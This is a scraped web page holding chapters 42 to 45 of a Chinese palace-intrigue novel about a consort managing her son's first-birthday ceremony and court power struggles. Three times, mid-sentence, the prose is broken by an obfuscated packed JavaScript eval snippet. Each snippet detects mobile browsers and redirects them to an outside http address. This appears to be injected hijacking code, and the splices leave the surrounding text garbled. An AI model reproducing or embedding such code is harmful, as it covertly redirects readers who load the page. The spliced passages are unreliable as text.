太后虽以生病为由久不见人,这等场合还是要出场的。只一眼看过去,沈明珮就发现她老了很多。这次她对新晋宫妃倒是和蔼,还拉着淑嫔的手问她祖母你情况。 话完家常,她扫视剩下四人,问:“谁是沈美人?” 纵使久病,她身上威严仍重,四人几乎要承受不住她的视线。 沈明珂硬着头皮上前。 “回娘娘,妾是沈美人。” 出乎她的意料,太后打量沈明珂几眼后反而卸下威压,还多了几分赞许。 “看着是个本分的,比你那个庶出姐姐好多了。只要你安守本分,以真心待皇帝,会有一番造化的。” 这一番话自然又是在点沈明珮,可惜沈明珮早已免疫了。 42. 抓周 太后的话并未产生任何实质性效果。 新人给后宫这潭平静无波的死水注入了新的活力。新人入宫第五天,徐才人就与赵才人打起来了。新人入宫不到半个月,方才人又以江宝林冒犯她为由罚她跪在宫道上整整半个时辰,直到皇后出面才结束此番闹剧。新人入宫不到一个月,淑嫔又惹哭了顺嫔抚养的三公主。 这股活力让皇后颇为头疼。最后她忍无可忍,把所有新入宫的妃子全部叫进坤宁宫,单独教训了一遍,宫里这才平静下来。 当然,这些与沈明珮都没什么关系。新人入宫,旧人的宠爱必会被分薄,但有四皇子在,皇帝依然会不时踏入长春宫。她索性安心养孩子,外界争端一概不参与、不理会。 “哟,抓到了!”长春宫内,寒露的声音非常高亢,“我们四皇子抓到咯,真棒!” 乳母怀里,四皇子抓着一本《论语》不松手,听到寒露喜悦的声音,也跟着一起咯咯笑。 “娘娘您看,四殿下多聪明!”寒露转过头看向正坐在椅子上的沈明珮,“您也该给他一点奖励!” 沈明珮笑了笑。 “你说得没错,是该给点奖励。”说着,她站起身,从乳母手中将四皇子接过。 换了一个怀抱,四皇子依然在傻乐,而且还有更开心的趋势。他睁着大眼睛看着沈明珮,突然抬手抓向她头上的狄髻。 “这可不行,”沈明珮立刻躲开,“这东西不是你现在能玩的。” 说着,寒露拿出一个金色的香包,放在四皇子的眼前,四皇子立刻把香包抓在手里,两只手都抓上了东西。 这次沈明珮抱了四皇子很久,直到他睡着了才把人送回到乳母手里。乳母抱着他下去休息,沈明珮也坐回椅子上靠着椅背休息。 “不错,”她对今日的训练很满意,“继续练下去,正常情况下抓周应该就会抓书。” 抓书也是最好控制且最不容易被人解读出各种花里胡哨的版本的选项之一。 但是这样还不够。 “寒露,从今天开始,给宏瀚再加一项训练。让他讨厌甜、远离香气,一旦他靠近这些就要给他负面反馈。同时还要训练他能够接受苦和辣。” “啊?”寒露迷惑,“为什么?” 娘娘,喜甜喜香是人之本性,苦和辣也都是小孩子讨厌的,您这样真的不算虐待婴儿吗? “我怕有人在抓周的东西上动手。最简单的,如果有人在胭脂口脂这些东西里面加糖加香料,在书上抹苦胆或是辣子呢?” “奴婢明白了,”寒露叹了口气,“我们会分毫不差地完成娘娘的任务的。” “嗯,”沈明珮又叮嘱,“不要让其他任何人知道。” 于是接下来一段时日,长春宫正殿四皇子所在的房间内时常有哭声。好在随着时间的推移,哭声逐渐稀少,到抓周前夕已经恢复正常。 这时候,抓周宴也准备得差不多了。 抓周宴在长春宫举办,因此是沈明珮与皇后共同准备,皇后为主,沈明珮为辅。除长春宫外,沈明珮并无别的人手,只能确认出基础设施并无问题,具体细节,除了听皇后的人讲解外并没有什么能插手的。 时值七月,天刚转凉,空气中还带着最后的热气,因而抓周宴实在长春宫院内举办。沈明珮没有穿齐大礼服,只身着鞠衣、头戴头面便抱着四皇子出场。 等她出现时,院内人已经坐齐了。宫妃都按序坐好,帝后也已端坐在主位上。 “妾与宏瀚见过陛下,见过娘娘。妾来迟了,还请陛下、娘娘恕罪。”她抱着四皇子行礼。 “无妨,”皇帝不以为意,“坐下吧。” 沈明珮坐到仅存的主位左下首的空位上,将四皇子交到乳母的手里。 皇帝宣布开宴。 菜肴一道道端上来,俱是色香味俱全。因为是皇子周岁宴,宴上并无舞者,只有乐师和歌者,表演曲目也以个人成长、功成名就为主。 沈明珮端着酒杯偷偷瞄向主位,看到皇帝果然对此安排颇为满意,对皇后也是颇为和颜悦色。 但不知为何,她总是有种不安感。 这份不安感在宴席吃到一半时成为现实。只见江宝林突然捂着肚子喊疼,乐人受此影响,直接中断了表演。 “叫太医!”沈明珮立刻命令站在她身边的寒露,寒露领命,奔出宫门。 “这是怎么回事?”皇帝的兴致被败得一干二净,看向皇后和沈明珮两个主事人的目光也多了些不善。 “妾身不知,”皇后一脸茫然,“贤妃妹妹可知道原因?” 沈明珮在心中直骂皇后。 “娘娘这话说的,准备宴会时一直都是尚食局的女官通知我会上什么菜,我连提出异议的余地都没有,怎么可能会知道是怎么回事呢?” 皇后正要再说什么,被皇帝打断。 “行了,先等太医。” 太医很快就来了,刚要行礼,就被皇帝制止,直接给江宝林看诊。 沉吟片刻,太医问:“臣可否知晓本次宴会都有什么吃食?” “当然可以,”沈明珮立刻回答,直接将先前吃过的东西背了出来,“我这里还有些残羹冷炙,大人需要的话尽管拿去。” “多谢娘娘。”太医接过杯盘,仔细分辨。 半晌,他才说:“恭喜陛下,恭喜娘娘,江宝林这是有孕了。宴中有几道菜有些寒凉,所以宝林才会腹痛,但并无大碍,臣施几针就无事了。” 皇帝立刻命他施针,他也确实就解除了江宝林的腹痛。 既已无碍,皇帝命江宝林在长春宫侧殿休息好后返回自己宫中。 宴席还在继续,太医也没有被放回去。快到宴会尾声,清婕妤忽然举手。 “陛下,娘娘,我的肚子也不太舒服。” 太医再次上阵,得到的结论竟与江宝林时相同。 “恭喜陛下,恭喜娘娘,清婕妤也是有孕了,”他说,“婕妤主子有孕的时间应该比宝林主子略长点。” “这可真是双喜临门啊,”皇后适时地面露喜色,“一场宴会迎来了两位皇嗣,这是何等可遇不可求的喜事!” 这确实是喜事,而且是足以让本场抓周宴的主人被人遗忘的喜事。甚至沈明珮还不能有什么不满,因为不论何时,皇嗣都是皇帝之下最重要的。 袖子里,攥紧的拳头之中,指甲抠肉的疼痛不断提醒她冷静,她努力露出微笑,主动向皇帝提出结束宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079617|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的建议。 “陛下,两位妹妹接连被诊出有孕,眼下她们的安全才是最重要的,不若结束抓周宴,让她们安心回宫吧。妾也会派宫人送她们回去的。” 皇帝凝视沈明珮片刻,方才温声道:“爱妃向来识大体。但宏瀚抓周亦是大事,你不必这般委屈自己和孩子。赵德光!” 他一声令下,赵德光立刻上前。 “你在跟朕一起来的人里挑两个,在长春宫内各挑两个人,分别送一个人回宫。” 赵德光立刻行动。被挑出来的两个太监不敢扯皮,分别挑好宫人,各挑了一个主子把人送回去。 长春宫院内恢复平静,但这饭肯定是吃不下去了。 “抓周吧。”皇帝下令。 立刻有宫人将装抓周用的物品的布兜与摆放它们的桌子一起端上来,乳母也抱着四皇子上前。但当布兜打开,皇帝定睛一看,皱紧眉头,怒声呵斥皇后。 “这都是什么乱七八糟的?皇后,这就是你准备的抓周?” 只见桌上连文房四宝都没齐,缺了支笔,抓周常见的官帽、刀剑也都没有,反倒是一个粉红的肚兜大摇大摆地躺在上面。 “陛下,妾真的不知道为什么会有肚兜!” 皇后立刻申辩。她知道,一旦被皇帝认定这肚兜是她放的,她的名声就完了。可惜皇帝已不打算听她说什么。 “赵德光,你回趟乾清宫,把抓周需要的所有东西都带来,再带人把这一桌子垃圾全部销毁。” 竟是连查都不准备查了。 皇后心已沉到底,哪怕有再多不服,她也不能再说话,只得沉默地在一旁等待。 赵德光办事很快,没多久就拎着东西带着人回到长春宫。太监们将原有的抓周物件撤走,赵德光将从乾清宫拿来的东西全部摆在桌上。乳母也将四皇子抱到桌上,让他挑选想拿的物件。 四皇子坐在桌子中央,看来看去,看到了一本比练习是抓着的书略厚一点的书籍。他爬过去,抱着这本书就不撒手。 “哟,看来四殿下以后也是个学识渊博之人哪!”赵德光立刻就把吉祥话说出来了。 沈明珮走上前,连人带书一起抱起来,看到书的封面,笑着对皇帝说:“陛下,宏瀚抓的是《大齐律》呢。” “好!”皇帝心情大好,“吾儿来日定为大齐股肱!” 站在一旁的皇后心情终于平静了些。既然皇帝对四皇子的期望是股肱,那么太子的地位应当还是稳的吧? 沈明珮低眉敛目,垂头不语。 抓周宴终于顺利结束,各路来客都陆续离开。沈明珮躺在床上,连衣服都不想换,白菊在寝屋门外请见。 “娘娘,奴婢有事要报,”白菊在进屋的同时将门关好,“那个肚兜其实是奴婢放的。奴婢发现纸、笔、砚、书等有好寓意的都被抹了辣子,担心会影响到四殿下抓周,就把身上穿的肚兜扯下来放在上面,把笔抽走,又把桌布扎成一个布兜。” 说着,她将一根毛笔从衣襟下拿出来。沈明珮接过笔,放在鼻子边,果真闻到了一股淡淡的辣味。 “你做得很好,”她笑着对白菊说,“去找寒露领赏吧,拿五两银子。此事和你领的银子都莫要让人知道。” 43. 分权 都说好事不出门,坏事传千里,哪怕是宫中事也是一样。在宫中有关系的很快便知道了四皇子抓周宴上的闹剧。 不过毕竟是皇家丑事,做臣子的不好直接指出来,大家都在等一个出头鸟。 长春宫内,白菊眉飞色舞地讲她这几日打探到的种种,两只手都不够打手势的,就差把脚也用起来了。 她讲完,沈明珮笑着叫来寒露:“跟宫外说一声,让她们加把火。” 官员不敢说不代表百姓不会提。在抓周宴结束半个月后,京城百姓之间多了一个聊天的话题。 “嘿,你听说了吗?”明玉楼内,一个刚吃完饭准备离开的食客碰上刚点完菜的朋友,又坐到了饭桌旁,他一边说,一边伸手指了指皇宫的方向。 “听说了,”友人忙不迭地点头,“真没想到,连宫里的娘娘也能干出这种事。” 刚说完,他便被捂上嘴。 “说这么清楚干嘛,你不要命啦?”最先提问之人看了看周围,见没人注意他俩,才把捂嘴的手松开,“得了,不跟你说了,别再把咱俩说进大牢去。你好好吃,我走了。” 他站起身,快步走出饭庄大堂。 京城百姓间议论纷纷,官员们自然也能知晓,佥都御史当即上密折禀报此事。出乎他意料的是,此密折被皇帝留中不发。 见议论没有人制止,更没有人因妄议皇室付出代价,百姓们更加大胆,先前隐晦地讨论也变得光明正大起来。 民间议论纷纷中,终于有人看不下去了。 早朝上,太监刚高喊完“有事起奏,无事退朝”,礼部尚书就站出官员队伍。 “陛下,臣有本奏。近日民间妄议天家之事成风,实在有损陛下威严。臣请陛下明正典刑,肃清此风,护我大齐威严。” 坐在龙椅上的皇帝面露疑惑:“孔爱卿能否给朕讲讲,百姓议论的是什么事?” 站在队伍里的大臣们险些石化,而后默默给孔尚书上了两炷香。不论皇帝是真不知道还是装不知道,在朝堂上当众说出流言,对这位礼部尚书都是不小的考验。 孔尚书一时也愣住。他抬起头,看皇帝确实是一脸疑惑,心里松了口气。 “回陛下,京城百姓说四皇子殿下抓周宴时,抓周用的物品里混进去了肚兜。” “哦,确实有这回事。”皇帝直接认下。 皇极殿内一片哗然。众臣的目光聚焦到皇帝、孔尚书与左都御史身上。 “陛下啊!”孔尚书痛心疾首,“皇子抓周事关大齐颜面,怎能如此儿戏?臣请陛下严惩捣鬼之人!” 皇帝面露难色。 “孔爱卿,四皇子的抓周是皇后准备的。” 孔尚书被这突如其来的消息砸中,一时陷入沉默。当这份沉默长久到皇帝以为他会退回朝臣队伍中时,他面色坚定地举着笏板再行一礼。 “陛下,纵使是皇后娘娘,犯下错误也应受到惩罚!” “荒谬!”皇后的父亲,左都御史,再看不下去,站出来反对,“皇后乃一国之母,岂是你一个臣子说惩罚就惩罚的!” “左都御史此言差矣,”刑部尚书也站出来驳斥,“王子犯法当与庶民同罪,岂能因为身份高贵就可无视律法、肆意妄为?夏大人身为左都御史,掌纠察百官之责,理当知此道理,若是连都察院都先看身份、地位再行弹劾,我大齐官场还能清明吗?” 左都御史看看龙椅上面无表情的皇帝,再看看似乎早有准备的刑部尚书和连连点头的礼部尚书,觉得自己好像进了套。 “诸位爱卿有何看法?”皇帝又问。 陆陆续续又有几个人站出来,两派观点都有人支持,但左都御史也注意到,本该是他统领的都察院没有一个人站出来说话。右都御史悠闲地站在官员队伍里,仿佛什么事也没发生一样,其他御史也安安静静地站在后面,眼观鼻鼻观心。 两派官员对喷,越吵声音越大,最终招来皇帝不耐烦地拍扶手声。 “都给朕安静,吵成这样像什么样子。宋爱卿,你说。” 这个宋爱卿便是皇帝登极后一手提拔上来的宋首辅。皇帝一让他说话,左都御史便知道,自己这次是完了。 果然,宋首辅的言辞也在他预料之中。 “按理来说,臣有孙女在宫中,本不该对此发言。但既然陛下有命,臣便说些心里话。臣以为,皇后娘娘能犯下如此大错,左都御史同样有过。作为皇后娘娘的父亲,他先是教导不利,让皇后娘娘养成会行此大错的性格,又依靠自身权势地位,让皇后娘娘有恃无恐。子不教父之过,真正应当对此负责的正是左都御史这位父亲啊。” 宋首辅抛下这番言论,自然也有支持夏家的官员出来说情。 待众人说得差不多了,皇帝才面露不忍,开口道:“夏爱卿确实有教养不利之过,但毕竟是朕的岳父,对朕有扶助之恩。罢了,此次朕也放你一马,你便与右都御史调换官职吧。望你引以为戒,约束好自己和家人,莫要再犯错误了。” 夏大人几乎是咬着牙说:“谢陛下恕罪。” 都察院内已由右都御史主导,他这个左都御史本就成了虚名,如今这么一调换,他连一个都察院统领的虚名都没了,被彻底边缘化已是注定。更让他齿寒的是,皇帝看似宽恕的话彻底把夏家定在了外戚的位置上,至少在他荣嘉一朝,再提到夏家时,人们想起的不会再是昔年夏琳首辅助太祖皇帝夺取天下。 他越想越气,竟有喉头发甜之迹象,拼尽全力才把要吐的血憋回去。刚下朝回家,他便病倒了。 前朝出现变动,后宫也不能幸免。早朝刚结束,皇帝就下令,命宁妃、宸妃、贤妃三人协理后宫。 圣旨下达坤宁宫,皇后猛地站起身,接都不接旨就要往外跑。传旨太监拦到她身前,被她使尽全力推倒在地。 “皇后娘娘这是要抗旨吗?” 皇后不理他,一路冲进乾清宫。 “娘娘,您不能进去!” “娘娘,请您止步!” 乾清宫内,皇帝正在处理政务。皇后推开阻拦她的太监,闯进乾清宫正殿。 不等皇帝回过神,她便劈头盖脸地问:“陛下这是什么意思?” 皇帝皱了下眉毛,放下笔。 “皇后指什么?”语气已是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090923|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇为冷淡。 “当然是协理六宫之事!”皇后越想越气,话语中也带着火药味,“我这个皇后还活得好好的,用得着她们来协理吗?” “皇后,你是忘了自己做过什么了吗?” “我做什么了?”皇后无比委屈,“明明是陛下查都不查就把罪过算在了我的头上!没有证据就定罪,哪里是明君所为!” “那皇后认为谁能做这个明君?” 皇帝淬了冰一般的问话如冰水般一下子把皇后浇醒了。她意识到自己刚刚说了什么,脸色煞白。 “妾身不是这个意思……” 皇帝打断她:“不管你是什么意思,给朕滚回你的坤宁宫。” 皇后强撑着最后的体面走回坤宁宫。宣旨的太监已经离开,她坐在桌旁,手肘撑在桌面上,头低垂着靠在手臂上。泪水打湿了她的衣袖,她的哭声回荡在殿内,由呜咽逐渐变为嚎啕。 “娘娘?”晴兰担忧地走到她身旁,轻轻推了推她,“可是陛下又欺侮娘娘了?” 皇后只不停地哭,没有回答。 晴兰见状叹了口气,又说:“不如就按太后娘娘说的……” “啪”的一声,晴兰捂住自己的脸。 “按太后说的办,我儿怎么办?”皇后红着眼圈怒斥晴兰。 晴兰沉默地低下头。 长春宫内,收到旨意的沈明珮客客气气地送走乾清宫太监。等太监迈出长春门,寒露和白菊一并凑过来。 “恭喜娘娘!” 当天午饭刚过,皇后就叫得到协理后宫之权的三人前去坤宁宫。三人前后脚到,踏进坤宁宫时皇后已经坐在主位上了。 “本宫叫你们过来,是为了交接宫务,”皇后说完,晴兰捧着一摞文书走过来,放在四人之间的桌上,皇后随手拿起来一个本子,递给宁妃,“你们都看看吧。” 沈明珮与宸妃也各拿起一本,打开翻了几页,又凑过去看对方手中的册子。 两人手中册子俱是尚功局相关。尚功局,自隋唐起便已是六尚之一,但自前朝十二监成立后,权力已被大为分薄。显而易见,皇后是要把宫权中比较鸡肋的部分扔出来。 “你们先前没有管理后宫的经验,不宜上来便掌管重要部门,先从尚功局开始做起吧。再者,宫中事务繁忙,你们既领了协理六宫之权,便也多为本宫分分忧,清婕妤和江宝林也由你们照看。” 说完,她竟直接将三人请出坤宁宫,又命宫人将文书全部送至宁妃的启祥宫。 在坤宁宫外,宁妃轻轻吸了口气,对剩下两人说:“二位妹妹不若来启祥宫详谈?” 沈明珮与宸妃皆欣然应允。在启祥宫内,面对这些成册的文书,沈明珮率先选出自己想管的部门。 “四皇子还小,我也没多少精力,不如把司珍司给我吧。” 宸妃有样学样,挑了司彩司。 见掌度支衣服、饮食、柴碳的司计司没被挑走,宁妃也很满意。 “我要管两个司,清婕妤和江宝林就劳烦你们了。不如江宝林归宸妃妹妹,清婕妤归贤妃妹妹?” 沈明珮与宸妃爽快应下。 44. 协理 沈明珮一回到长春宫,就把白芷派去清婕妤处监督。 寒露不解:“娘娘不必把白芷派过去吧?会有人害清婕妤肚子里的皇嗣吗?” 寒露说得没错。即使清婕妤的肚子里真的是皇子,大齐君臣也绝不可能让一个有着女真血统的皇子成为皇帝。这个孩子未来的上限早就被锁死了。 “话是这么说的,但是你不能保证不会有人利用她来针对我。”沈明珮摇头。 她的预料完全没错。白芷被派过去不过五天,就在清婕妤的午饭中看见了一大块腌制的咸鱼。 “谁把咸鱼端上来的!”沈明珮把她派过来前给她一份孕妇不能碰的食物药物集锦,她立刻指出问题。 清婕妤的大宫女立刻跑过来,问明情况后带人端着咸鱼直奔尚食局而去。白芷查明其他饭菜无误后,清婕妤先端着没问题的吃食填饱肚子。 大宫女很快带着一道新荤菜回来。当天下午,尚食局的一个宫女便挨了板子。 消息传回长春宫,沈明珮一副早知如此的样子对寒露说:“你看吧?” 幺蛾子并没有停止。接下来的两个月内,清婕妤身边经常出现一些或大或小的意外。白芷一天十二个时辰时时刻刻保持警惕,人生生累瘦了一大圈。 “你这样不行,”她再回来汇报时,沈明珮说,“清婕妤一共要怀九个多月呢,你能天天这么盯着吗?那没等她生出来你就要先被熬干了。” 白芷点头如捣蒜:“奴婢也是这么想的,或许我们应该把捣乱的人揪出来。” “你先回去,”沈明珮沉声说,“我来想办法。” 白芷离开后,沈明珮站起身,直奔承乾宫而去。 “贤妃妹妹难得到访,寒舍简陋,若有照顾不周,还望妹妹见谅。”宸妃笑着让宫女为沈明珮奉茶。 沈明珮接过茶水,抿了一口,发现是今岁地方送上来的最好的贡茶。再看看整个承乾宫,摆件俱为官造的极品,墙上挂着前朝名家真迹,家具用的也是最名贵的木料,殿内陈设布局极富美感,怎么看也和寒舍这两个字搭不上边。 她又喝了口茶。 “我今日拜访姐姐,是想问姐姐件事,”她开门见山,“姐姐照看江宝林时有没有遇见什么麻烦?” 宸妃挑起眉毛,看了她几眼,才点头头,说:“有过几次,不过我们都化险为夷了。看来妹妹也是碰上这种事了?” “可不是嘛,”沈明珮苦着脸抱怨,“也不知道是什么人,下手还挺狠,我们这边差点就出事了。” 宸妃端着茶杯低着头,眼神有点涣散地看着杯中茶水,半晌,才说:“那妹妹可有什么解决问题的想法?” 沈明珮直摇头:“我这不是想不出办法才来先姐姐的吗?” “可能要让妹妹失望了,其实我也没什么头绪。”宸妃同样一脸苦恼。 “这样啊……”沈明珮面露遗憾,“那我再自己想想办法吧。已经叨扰姐姐很久了,我该回去了。” “妹妹慢走。”宸妃微笑着相送。 走出承乾宫,沈明珮的脸立刻冷下来。 一回到长春宫,沈明珮就叫来寒露:“你去问清婕妤,要不要配合我把她那里不干净的人抓出来。” 寒露领命而去,带回肯定的答案。 当天晚上,暮色浓重之下,清婕妤的大宫女带来的她一半的宫人。之后她又带了同样数目的长春宫宫人离开,其中为首之人正是白菊。 长春宫有寒露、宋英,清婕妤处有白芷、白菊,针对清婕妤宫人的监视完全展开。他们很快就发现,除了随清婕妤进宫的那位大宫女外,他们不得离开清婕妤所在的佩殿。在长春宫的几人更是被看得死死的。 一连几天,终于有人忍不住,趁着夜色悄悄溜出长春宫。寒露站在暗处,看此人走出去,招来一个宫女一个太监,悄悄跟在此人身后。 这人很小心,走几步就要停下来观察一下四周。寒露三人艰难地寻找掩体蹲下,一顿折腾才没被人发现。 到了一处偏僻的角落,这人停下来,吹了两长一短三声口哨。片刻后,又有一短一长一短三声口哨回应。她又吹了一声短哨,一个身穿黑衣、头戴面罩的人出现。 寒露无声地招手,三人立刻冲出来向这两人扑去。不过几招,两人便被拿下。 寒露拖着黑衣人,打算将他带回长春宫,不想手中人突然往下一沉。她忙把人扶住,揭开面罩,见此人嘴角流乌血,已经没了气息,赫然是服毒自尽。 跟着她的两个宫人见状,心神震荡下手劲一松,宫女抓住机会拼命往墙面一撞,直接把自己撞死了。 抓到手的人全部自尽,寒露非常懊恼。 “你们两个在这里看好尸体,我回去请示娘娘。” 她跑回长春宫,将一切告诉沈明珮。 “奴婢办事不利,请娘娘责罚。”她跪着请罪。 “你去请陛下来。”沈明珮闭了闭眼睛,再睁开时已无懊恼。 皇帝今日是有召幸妃嫔的。他已经洗漱完毕,正要临幸被召来的徐才人,赵德光闯进来。 “陛下,贤妃娘娘有要事要报。” 被扰了兴致的皇帝很不爽:“什么事情不能明天说,非要大晚上上报?让她明天说。” 见好不容易有一次的侍寝出了岔子,徐才人脸色也很难看。 赵德光面露难色:“陛下,贤妃娘娘这次是派寒露姑娘过来的,而且,看寒露姑娘的样子,好像确实挺急。” “那就让她进来,”皇帝不耐道,“朕倒要看看她有多急。” 寒露被带进寝殿,看见皇帝的态度,当即做出决断,将此事的起因经过结果倒豆子一般说出来。徐才人在一旁听到一半,就知道自己这次侍寝是泡汤了。 果然,皇帝立刻派司礼监太监赶赴现场,确认死者身份,又命乾清宫宫人将徐才人送回去。死者未带任何能证明身份的物件,司礼监把各处宫人全部喊醒,排着队来辨认,终于确定了身份。此人竟然是内十二监中都知监的太监,甚至还是长随。司礼监派人搜查此人居所,但屋子被他收拾得干干净净,他们最终一无所获。 这一顿折腾,直接折腾到天色微明。什么都没查出来,皇帝脸色也很难看,看到寒露仍然笔直地站在寝殿中,挥手让她离开。 长春宫内,沈明珮也一夜没睡,见寒露回来,忙问她:“查出来了吗?” 寒露摇头:“除了查出接头人是都知监长随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098791|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他一无所获。” 沈明珮倒是不意外,叹了口气,道:“你忙了一晚上了,好好休息。等歇好了,再去清婕妤那里把人换回来。” 说完,她叫了个小宫女随她一起去坤宁宫请安。 案子线索虽不了了之,但也许是震慑到了身后之人,清婕妤和江宝林都没有再遇到危险。沈明珮一边管理司珍司,一边看四皇子学走路,竟然颇为悠闲。 长春宫与承乾宫固然悠闲,但启祥宫的麻烦才刚刚到来。 已是初冬,天气渐寒,各宫开始用碳火。永寿宫内,一个负责碳火的小宫女烧炭后被呛得猛咳。她强忍着不适,将炭盆端进正殿中,碳火忽明忽暗,过了一会儿开始散发刺鼻的气味。 气味其实不重,但对于淑嫔来说已是很明显。身为大长公主孙女的她何时闻过这种气味,她当即命宫人将烧炭的小宫女押到她面前。 小宫女也很冤枉:“娘娘,宫里发的炭就是这样的啊!” 她虽是宫女,但也是举人家的女儿,从没干过烧炭这种活。若不是被分给淑嫔,她根本不会烧炭,也分不清楚炭的好坏,只知道她家里也会用这种炭。 淑嫔命人放了她,而后带着心腹宫女和管事太监,带着炭盆找上坤宁宫。 “皇后娘娘,您必须给妾一个说法!”她是闯进坤宁宫的,宫人拦不住也不敢拦,“这炭是什么东西,宫里就用这种劣炭吗?还是说娘娘看妾不顺眼,专门给妾用这种炭?” “淑嫔妹妹,发生这种事本宫也很愤慨,但今年的碳火采买不归本宫管啊,”皇后一脸无辜,话语间还带着委屈,“你知道的,陛下命宁妃、宸妃、贤妃三人协理六宫,本宫将尚功局给了她们,这负责采买的司计司也在她们手里,现在是由宁妃管理。” “多谢娘娘告知,妾身现在就去找宁妃讨说法!”淑嫔说完,带着两个宫人扭头就走。 “皇后娘娘,您就任由她闹完就走?”有跟在皇后身边长的宫女愤愤不平。 皇后却很淡然:“没关系,让她闹。” 淑嫔闯进启祥宫,二话不说一顿打砸。宁妃和宫人当然要阻拦,局面便逐渐发展成互殴。这时,皇后恰好从天而降,恰巧又命人将皇帝叫来。 皇帝黑着脸过来,直接禁足淑嫔一个月。 淑嫔当然不服:“陛下,宁妃故意给妾的宫里发劣炭,妾固然有错,难道她就不该受罚吗?” “信口雌黄!”宁妃立刻驳斥,“本宫采买的都是最好的炭,哪里有劣炭!” “那这是什么?”淑嫔拿起从进启祥宫时就放在一旁的炭盆,跪在皇帝面前,将它高高举起,“请陛下明查!” 接下来的事情就好办了。有这盆劣炭作为证据,司礼监很快查明,采买过程中有人以次充好,且顺嫔的延祺宫,其他没住主位妃嫔的宫室拿到的都是劣炭。 “既然管不好,就交给皇后来管。”皇帝留下一句话后背着手离开。 “既然陛下有命,这司计司就还是由本宫来管理吧,”皇帝离开后,皇后对着宁妃露出志得意满的笑容,“当然,陛下并未收回妹妹的协理六宫之权,本宫还是会给你留下司制司的。” 说完,见宁妃面色惨淡,她扬长而去。 45. 宽慰 “娘娘,奴婢觉得宁妃不是会采买劣质柴炭的人。”消息传到长春宫后,寒露立刻说。 “但是她管不住司计司。”沈明珮评论。 定国公府和夏家在宫中经营这么多年,不知道有多少人为他们效命,想动手段拿回六局之下的一个司,实在是易如反掌。 寒露恍然大悟,随后又有新的不解:“既然皇后如此看重司计司,为什么当初要把尚功局给出去呢?” 沈明珮笑着解释:“你看看其他五局都是什么?” 自隋时便已经出现、到唐时彻底完善的六局二十四司,分别有尚宫、尚仪、尚服、尚食、尚寝、尚功六局。尚宫管宫女,尚仪管仪典,尚服管衣饰,尚食管食药,尚寝管宴寝,相比之下尚功局已经是相对不重要的那一个,皇后更不可能把其他五局给出去。至于宫正司,有一半的管理权在皇帝手里,另一半皇后更是要死死抓住。 她会给出去的,只有尚功局。 “把最重要的司计司抢回来,其他三司就算给出去也无伤大雅,这一波宁妃输得实在是彻底,”沈明珮感慨,“幸亏我当初没选司计司,不然今日焦头烂额的恐怕就是我了。” 硬拼在后宫中的底蕴,除了与皇后是盟友且避居慈宁宫的太后外,没有人是皇后的对手。 “原来如此,”寒露若有所思地点头,“但是如果一直这样的话,后宫不就永远都会被皇后把持了吗?” “她是皇后,把持后宫不是很正常吗?”沈明珮手指无意识地敲打桌面,“陛下正值盛年,我现在也不过一个二品妃子,急什么。心急吃不了热豆腐,等宏瀚长大一些再放开争也不迟。” 收回司计司的皇后大张旗鼓地罚了涉案人员,又没收了赃款,再加上皇帝专门从私库播来的一笔钱,很快便重新采购好柴炭。 听闻收到好炭后,淑嫔当场便说:“果然这后宫不是谁都能管的。” 又据说宁妃听闻此话后,气得摔碎了好几个刚换上的摆件。 沈明珮管理司珍司的节奏并未被打乱。她对司珍司的约束并不多,不过是遵守宫规,赏罚分明。按月准时发饷银,毫不克扣,有功的立刻发赏赐,有过的也明确指出违反的宫规,让受罚者心服口服,宫人若是生病也立刻安排医官,种种举措让原本心有偏向但没有投在皇后麾下的和摇摆不定的都定下心来,逐渐倾向于她。 进入腊月,司珍司的工作也忙起来。一来到了年底,要核对全年账目,二来年底地方进贡珍宝、皇帝新年赏赐官员,都要走司珍司的账。 忙起来,就容易出乱子。 腊八刚过的午后,一个掌珍拎着兜子扭送一个典珍走进长春宫。 “娘娘,奴婢举报她将内造的粉彩瓷瓶打碎了!” 说着,她打开兜子,露出瓷器碎片。粉彩属于本朝新兴起的技艺,完善时间并不长,这个瓷瓶是目前水平最高的作品之一,皇帝计划新年时将它赏给大臣。 “娘娘,奴婢也有事要报,”被扭送来的典珍根本就是没想反抗,借着这个机会诉说冤情,“奴本是见它脏了,要擦干净,不想它特别滑,直接从奴的手中滑落到地上。” 沈明珮听着,将碎片一片片拿出来,仔细触摸。 “寒露,去请宫正司宫正来。” 宫正司宫正很快便来,沈明珮对她说明情况。 “陛下新年要赏给朝臣的粉彩瓷瓶被人摸了油,司珍司的典珍要擦它时它滑落到地上。请你派可信的人调查此事。” 